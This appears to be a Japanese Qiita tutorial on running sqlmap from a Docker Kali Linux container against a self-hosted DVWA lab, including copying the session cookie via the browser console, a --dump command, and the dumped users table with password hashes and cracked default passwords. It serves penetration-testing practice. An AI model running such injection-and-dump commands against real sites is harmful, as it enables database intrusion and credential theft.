LoginSignup
2
3

More than 3 years have passed since last update.

sqlmapをKali Linuxで使ってSQLインジェクション自動テスト

Posted at

sqlmapでSQLインジェクション

今回は以前の記事で作成した環境構築したKali LinuxDVWAを使って、SQLインジェクションを自動テストできるsqlmapを試していきたいと思います。

sqlmapとは?

sqlmapとは、SQLインジェクションの脆弱性ペネトレーションテストツールになります。

以前の記事で紹介したSQLインジェクションを自動的に行ってくれる、すぐれものです。

Kali Linuxではデフォルトでインストールされています。

今回の前提条件

・Dockerでインストール済のKali Linux
・DVWA構築済のCentOS7サーバー

DVWA上の操作

まずは、以前に環境構築したDVWAのページにアクセスします。

その後SQL Injectionのタブをクリックし、User IDに1を入力してSubmitを押します。

この時のURL(http://サーバーIPアドレス/vulnerabilities/sqli/?id=1&Submit=Submit)をsqlmapで使用するのでメモしておいてください。

また、sqlmapではクッキー情報も必要なので、検証→consoleから以下のコマンドを打ちます。

> document.cookie

するとクッキー情報がconsoleに表示されるのでこれもメモしておきます。

Kali Linux上の操作

次に、以前Dockerで構築したKali Linuxをbashで立ち上げます。

# docker run -t -i kalilinux/kali-linux-docker /bin/bash

rootで入ったら、念の為sqlmapがインストールされているか確認し、ない場合はインストールをします。

# apt list "sqlmap"
# apt-get intall sqlmap

そして先ほどメモしたDVWAのURL情報とクッキー情報を使って、SQLインジェクションをしていきます。

sqlmapではオプションに、--dumpとつけることによって、SQLインジェクションで得られた結果をダンプファイルとして残すことが可能になります。

# sqlmap -o -u "http://サーバーIPアドレス/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="クッキー情報" --dump

sqlmapが終了後、catでダンプファイルを確認すると以下のような表示されます。

# cat /home/user/.sqlmap/output/サーバーIPアドレス/dump/dvwa/users.csv
user_id,user,avatar,password,last_name,first_name
1,admin,dvwa/hackable/users/admin.jpg,5f4dcc3b5aa765d61d8327deb882cf99 (password),admin,admin
2,gordonb,dvwa/hackable/users/gordonb.jpg,e99a18c428cb38d5f260853678922e03 (abc123),Brown,Gordon
3,1337,dvwa/hackable/users/1337.jpg,8d3533d75ae2c3966d7e0d4fcc69216b (charley),Me,Hack
4,pablo,dvwa/hackable/users/pablo.jpg,0d107d09f5bbe40cade3de5c71e9e9b7 (letmein),Picasso,Pablo
5,smithy,dvwa/hackable/users/smithy.jpg,5f4dcc3b5aa765d61d8327deb882cf99 (password),Smith,Bob

これで、以前手動でやったSQLインジェクションを、自動で行うことができました。

いや、すごい。

参考URL

http://inaz2.hatenablog.com/entry/2016/01/27/004356
https://www.websec-room.com/2014/03/09/1864

2
3
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
3